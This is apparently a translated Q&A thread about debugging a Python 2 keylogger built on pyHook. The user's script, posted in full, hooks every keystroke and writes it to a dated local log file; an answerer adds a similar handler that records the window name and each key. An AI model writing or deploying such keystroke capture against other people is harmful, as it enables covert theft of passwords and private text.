Python TypeError 需要一个整数 pyHook pythoncom

Python TypeError an integer is required pyHook pythoncom

我写了一个脚本:

    import pythoncom, pyHook
    import time
    from time import strftime,localtime

    def OKBE(event):

            log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
            f=open(str(log),"a")

            if(str(event.Ascii)=="8"):
                f.write("<--")
                print("<--")
            elif(str(event.Ascii)=="13"):
                f.write("\nENTER "+str(time.strftime("%H,%M",localtime()))+"\n")

                print("\nENTER\n")
            elif(str(event.Ascii)=="32"):
                f.write(" ")
            else:
                f.write(chr(event.Ascii))
                print(str(event.Ascii))
                print(chr(event.Ascii))


    manager = pyHook.HookManager()
    manager.KeyDown = OKBE
    manager.HookKeyboard()
    pythoncom.PumpMessages()

但只要事件是 a 或 p 和其他一些字母,我就会收到此错误:

Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Users\Miran\Desktop\Pythonprojekt\Keylogger\keylogger.pyw", line 10, in OKBE
log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
TypeError: an integer is required 

有人知道为什么吗?

事件是一个class(或者我应该说,一个class的实例),你可以从实例中调用信息(见下面的代码),例如'event.key'将给出你的 ASCII 字符代码。 event.alt 将 return 'alt' 键的状态。

我记得在编写 python 键盘记录器时处理过类似的问题(虽然已经有年头了)。我看不出您的代码有任何问题。我的 'OKBE' 函数看起来更像这样。

def OnKeyboardEvent(self, event):
    if (event.Ascii > 31 and event.Ascii < 127) or event.Ascii == 13 or event.Ascii == 9:
        data = (event.WindowName, event.Window, event.Time, event.Ascii, event.Key, event.Alt)
        print data # debugging

我相信使用上述方法可以捕获大部分(如果不是全部)常用的击键。使用上面的函数,我创建了一个 class 和其他日志记录函数。

如果您需要其他任何东西,或者弄清楚您的代码中发生了什么,请告诉我:)

我认为这个问题是一个错误...当我更换

<code>log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt") 经过 log="log.txt"

一切正常